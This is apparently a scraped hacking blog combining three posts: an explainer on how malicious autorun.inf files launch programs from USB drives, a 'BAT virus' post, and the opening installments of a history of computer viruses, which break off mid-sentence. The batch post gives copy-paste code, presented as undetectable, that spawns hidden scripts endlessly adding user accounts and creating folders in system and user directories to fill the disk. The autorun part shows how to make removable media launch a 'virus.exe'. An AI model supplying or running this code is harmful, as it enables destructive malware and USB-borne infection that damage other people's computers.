Autorun.inf attak!! ? read this and know what happen to inf file

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 class="post-title entry-title" itemprop="name">Autorun.inf virus attack! Is autorun.inf virus? </h3><div class="post-header"> </div><div dir="ltr" style="text-align: left;"><span style="font-family: Courier New, Courier, monospace;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">This is the instructions that saved in the infected(call virus programs) autorun.inf file:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Open=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Explore=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">AutoPlay=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Open\Command=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Open\Default=1</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Explore\command=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Autoplay\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Introduction to Autorun.inf File:</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted.  Simpy triggers.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">How to create Autorun file?</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Open notepad</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">type this command:</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">save the file as "autorun.inf" (select all files, not text )</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Complete Syntax and instructions inside the Autorun file:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Basic syntax must be inside  the autorun.inf file is :</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will be used to identify the the file as autorun.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">OPEN=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will specify which application should be opened when the cd or pen drive is opened</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">open=virus.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will launch the virus.exe file when cd or pen drive is opened.  The file should be in root directory.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">if the file is in any other sub directories ,then we have to specify it.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Open=RECYCLER\Virus.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Explore=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Nothing big difference. if you right click and select explore option in cd or pen drive.  This command will be run.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">AutoPlay=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Same as the above , but it will launch the the program when auto played.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">SHELL\VERB =</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Example:</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">  </span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">  shell\Open\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Open\Default=1</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Explore\command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Autoplay\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Icon=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Change the icon of your pen drive or cd.  you can use .ico,.bmp images(also .exe,.dll)</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">icon=hackingtalent.ico</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Label=</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Specifies a text label to displayed for this CD in Explorer</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Label=Ethical hacking</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Why Antivirus Block Autorun.inf file?</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">From above ,you come to know that autorun.inf file is not virus.  But why antivirus blocks it?  Because as i told autorun file call or launch any application or exe files.  It will lead to virus attack.  If the autorun.inf is blocked,then there is no way to launch the virus code.</span></span><br /><div style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;"><i style="border: 0px; margin: 0px; padding: 0px;"><b style="border: 0px; margin: 0px; padding: 0px;"><span style="font-family: Courier New, Courier, monospace;">Autorun is not virus but it can call virus files.</span></b></i></div></div></div>

Autorun.inf attak!! ? read this and know what happen to inf file

Autorun.inf virus attack! Is autorun.inf virus? This is the instructions that saved in the infected(call virus programs) autorun.inf file: ...

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BAT virus

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 style="background-color: black; border: 0px; color: white; font-family: Rockwell, Georgia, 'Palatino Linotype', Palatino, 'Times New Roman', Times, serif; font-size: 1.3em; line-height: 19.1875px; margin: 0px; padding: 0.8em 0px; text-align: justify; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><span style="border: 0px; font-weight: normal; margin: 0px; padding: 0px; vertical-align: baseline;"><em>If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this lackey I will show you how to make simple .bat file (virus) that can’t be detected by any anti virus</em><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>Here are some good viruses ,i am not responsible for any kind of damage to your system … </em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>Copy this to notepad and save as flood1.bat…..</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em></em><em>@ECHO OFF<br />@ECHO A way2hackintosh Creation</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"></div></span></h3><h3 style="background-color: black; border: 0px; color: white; font-family: Rockwell, Georgia, 'Palatino Linotype', Palatino, 'Times New Roman', Times, serif; font-size: 1.3em; line-height: 19.1875px; margin: 0px; padding: 0.8em 0px; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><span style="border: 0px; font-weight: normal; margin: 0px; padding: 0px; vertical-align: baseline;"><em>@ECHO MAIN BAT RUNNING<br />GOTO start</em><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>:start<br />@ECHO SET magic2=1 >> bat6.bat<br />@ECHO GOTO flood5 >> bat6.bat<br />@ECHO :flood5 >> bat6.bat<br />@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat<br />@ECHO NET USER magic2%%magic2%% /add >> bat6.bat<br />@ECHO GOTO flood5 >> bat6.bat<br />START /MIN bat6.bat<br />GOTO bat5</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>:bat5<br />@ECHO CD %%ProgramFiles%%\ >> bat5.bat<br />@ECHO SET pogo=1 >> bat5.bat<br />@ECHO GOTO flood4 >> bat5.bat<br />@ECHO :flood4 >> bat5.bat<br />@ECHO MKDIR pogo%%pogo%% >> bat5.bat<br />@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat<br />@ECHO GOTO flood4 >> bat5.bat<br />START /MIN bat5.bat<br />GOTO bat4</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>:bat4<br />@ECHO CD %%SystemRoot%%\ >> bat4.bat<br />@ECHO SET hat=1 >> bat4.bat<br />@ECHO GOTO flood3 >> bat4.bat<br />@ECHO :flood3 >> bat4.bat<br />@ECHO MKDIR hat%%hat%% >> bat4.bat<br />@ECHO SET /a hat=%%hat%%+1 >> bat4.bat<br />@ECHO GOTO flood3 >> bat4.bat<br />START /MIN bat4.bat<br />GOTO bat3</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>:bat3<br />@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat<br />@ECHO SET chart=1 >> bat3.bat<br />@ECHO GOTO flood2 >> bat3.bat<br />@ECHO :flood2 >> bat3.bat<br />@ECHO MKDIR chart%%chart%% >> bat3.bat<br />@ECHO SET /a chart=%%chart%%+1 >> bat3.bat<br />@ECHO GOTO flood2 >> bat3.bat<br />START /MIN bat3.bat<br />GOTO bat2</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>:bat2<br />@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat<br />@ECHO SET gamer=1 >> bat2.bat<br />@ECHO GOTO flood >> bat2.bat<br />@ECHO :flood >> bat2.bat<br />@ECHO MKDIR gamer%%gamer%% >> bat2.bat<br />@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat<br />@ECHO GOTO flood >> bat2.bat<br />START /MIN bat2.bat<br />GOTO original</em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em></em></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><br /></div></span></h3><h3 style="background-color: black; border: 0px; color: white; font-family: Rockwell, Georgia, 'Palatino Linotype', Palatino, 'Times New Roman', Times, serif; font-size: 1.3em; line-height: 19.1875px; margin: 0px; padding: 0.8em 0px; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><span style="border: 0px; font-weight: normal; margin: 0px; padding: 0px; vertical-align: baseline;"><em>GOTO flood1</em><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"></div><div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;"><em>What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.</em></div></span></h3></div>

BAT virus

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never ima...

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Evolution Of Computer Viruses History Of Viruses

<div dir="ltr" style="text-align: left;" trbidi="on"><h2 style="text-align: center;"><i><u style="color: red; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Evolution Of Computer Viruses History Of Viruses</u></i></h2><div style="text-align: left;"><i><u style="color: red; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"> </u></i><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">part 1</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">part 2</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time.  In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Notoriety versus stealth</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention.  Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">pat 3</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.</span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;"><br /></span></div><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">The answer to which of 